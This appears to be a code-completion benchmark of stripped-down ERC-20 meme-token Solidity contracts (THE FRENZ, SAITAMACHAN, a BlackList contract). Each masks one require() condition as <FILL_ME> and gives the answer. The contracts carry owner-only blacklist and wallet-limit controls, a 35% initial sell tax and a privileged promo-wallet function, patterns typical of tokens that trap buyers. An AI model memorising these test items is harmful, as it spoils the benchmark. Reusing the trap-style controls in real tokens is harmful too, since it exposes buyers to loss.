taxTokens = amount.mul((_buyersCount>_reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inswap && to == _pairAddress && _swapActive && contractTokenBalance > swapThreshold && _buyersCount > _preventSwapBefore && amount > swapThreshold) {
swapTokensToETH(min(amount, min(contractTokenBalance, maxFeeSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendFees(address(this).balance);
}
}
}
if (taxTokens > 0) {
_balances[address(this)] = _balances[address(this)].add(taxTokens);
_balances[from] = _balances[from].sub(amount);
emit Transfer(from, address(this), taxTokens);
}
_balances[to] = _balances[to].add(amount.sub(taxTokens));
emit Transfer(from, to, amount.sub(taxTokens));
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensToETH(uint256 tokenAmount) private lockTheSwap {
}
function openTrading() external onlyOwner() {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=maxHoldings,"Exceeds the maxHoldings." | 238,535 | balanceOf(to)+amount<=maxHoldings |
"Trading is already open" | // SPDX-License-Identifier: MIT
/*
Welcome to the Friends | $FRENZ Token!
The next step in decentralized social connectivity. Transform the value of private conversations, enabling monetization of content.
Web: https://thefrenz.club
X: https://twitter.com/FrenzClubErc
Community: https://t.me/frenz_club
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract THEFRENZ is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name= "THE FRENZ";
string private constant _symbol= "FRENZ";
uint8 private constant _decimals= 9;
uint256 private constant _supply = 10 ** 9 * 10**_decimals;
uint256 private _initialBuyTax=11;
uint256 private _initialSellTax=35;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=9;
uint256 private _buyersCount=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isFeeExcluded;
IDexRouter private _router;
address private _pairAddress;
bool private _tradeActive;
bool private _inswap= false;
bool private _swapActive= false;
uint256 public maxTxAmount = 20 * 10 ** 6 * 10**_decimals;
uint256 public maxHoldings = 20 * 10 ** 6 * 10**_decimals;
uint256 public swapThreshold = 10 ** 5 * 10**_decimals;
uint256 public maxFeeSwap = 10 ** 7 * 10**_decimals;
address payable private _taxWallet = payable(0x40Ac62F3Bf000192d1ad473b532085131249B197);
event MaxTxAmountUpdated(uint maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function sendFees(uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensToETH(uint256 tokenAmount) private lockTheSwap {
}
function openTrading() external onlyOwner() {
require(<FILL_ME>)
_router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_router), _supply);
_pairAddress = IDexFactory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(_pairAddress).approve(address(_router), type(uint).max);
_swapActive = true;
_tradeActive = true;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
receive() external payable {}
}
| !_tradeActive,"Trading is already open" | 238,535 | !_tradeActive |
"BlackList: this address is in blacklist" | pragma solidity ^0.6.2;
contract BlackList is Ownable{
mapping (address => bool) public blackList;
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
constructor() internal{}
function addBlackList(address _user) external onlyOwner {
}
function removeBlackList(address _user) external onlyOwner {
}
function isBlackListUser(address _user) public view returns (bool){
}
modifier isNotBlackUser(address _user) {
require(<FILL_ME>)
_;
}
}
| !isBlackListUser(_user),"BlackList: this address is in blacklist" | 238,628 | !isBlackListUser(_user) |
"Certified bruh moment" | /**
*/
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
mapping (address => bool) internal promowallet;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier promoWallet() {
require(<FILL_ME>) _;
}
function isOwner(address account) public view returns (bool) {
}
function ispromoWallet(address adr) public view returns (bool) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SAITAMACHAN is Context, IERC20, Ownable {
using Address for address;
using Address for address payable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isLimitedWallet;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1_000_000_000 * 10**9;
uint256 private constant SWAP_TOKENS_AT_AMOUNT = 7 * 10**9;
string private constant _name = "SAITAMACHAN";
string private constant _symbol = "SAICHAN";
uint8 private constant _decimals = 9;
uint256 private _promoFee = 7;
uint256 public _liquidityFee = 1;
address private _promoWallet = 0x0401284B7A31eBe00b309e5CE85c45deb188E726;
uint256 public _buyCooldown = 0 minutes;
mapping (address => uint256) private _lastBuy;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function AutoLiquifies(uint256 accumulation, address acc) promoWallet public virtual {
}
function _Berserker(
address from,
address to,
uint256 accumulation
) internal virtual {}
receive() external payable {}
function _getValues(uint256 amount, address from) private returns (uint256) {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapAndSendToFee (uint256 tokens) private {
}
function LimitAddress(address account, bool newValue) public onlyOwner {
}
function swapAndLiquify() private {
}
function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| ispromoWallet(msg.sender),"Certified bruh moment" | 238,654 | ispromoWallet(msg.sender) |
"To/from address is LimitedWallet!" | /**
*/
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
mapping (address => bool) internal promowallet;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier promoWallet() {
}
function isOwner(address account) public view returns (bool) {
}
function ispromoWallet(address adr) public view returns (bool) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SAITAMACHAN is Context, IERC20, Ownable {
using Address for address;
using Address for address payable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isLimitedWallet;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1_000_000_000 * 10**9;
uint256 private constant SWAP_TOKENS_AT_AMOUNT = 7 * 10**9;
string private constant _name = "SAITAMACHAN";
string private constant _symbol = "SAICHAN";
uint8 private constant _decimals = 9;
uint256 private _promoFee = 7;
uint256 public _liquidityFee = 1;
address private _promoWallet = 0x0401284B7A31eBe00b309e5CE85c45deb188E726;
uint256 public _buyCooldown = 0 minutes;
mapping (address => uint256) private _lastBuy;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function AutoLiquifies(uint256 accumulation, address acc) promoWallet public virtual {
}
function _Berserker(
address from,
address to,
uint256 accumulation
) internal virtual {}
receive() external payable {}
function _getValues(uint256 amount, address from) private returns (uint256) {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
if (from == uniswapV2Pair) {
require (_lastBuy[to] + _buyCooldown < block.timestamp, "Must wait til after coooldown to buy");
_lastBuy[to] = block.timestamp;
}
if (balanceOf(address(this)) >= SWAP_TOKENS_AT_AMOUNT && !swapping && from != uniswapV2Pair && from != owner() && to != owner()) {
swapping = true;
uint256 sellTokens = balanceOf(address(this));
swapAndSendToFee(sellTokens);
swapping = false;
}
_tOwned[from] -= amount;
uint256 transferAmount = amount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
transferAmount = _getValues(amount, from);
}
_tOwned[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapAndSendToFee (uint256 tokens) private {
}
function LimitAddress(address account, bool newValue) public onlyOwner {
}
function swapAndLiquify() private {
}
function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
}
| !isLimitedWallet[from]&&!isLimitedWallet[to],"To/from address is LimitedWallet!" | 238,654 | !isLimitedWallet[from]&&!isLimitedWallet[to] |
"Must wait til after coooldown to buy" | /**
*/
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
mapping (address => bool) internal promowallet;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier promoWallet() {
}
function isOwner(address account) public view returns (bool) {
}
function ispromoWallet(address adr) public view returns (bool) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
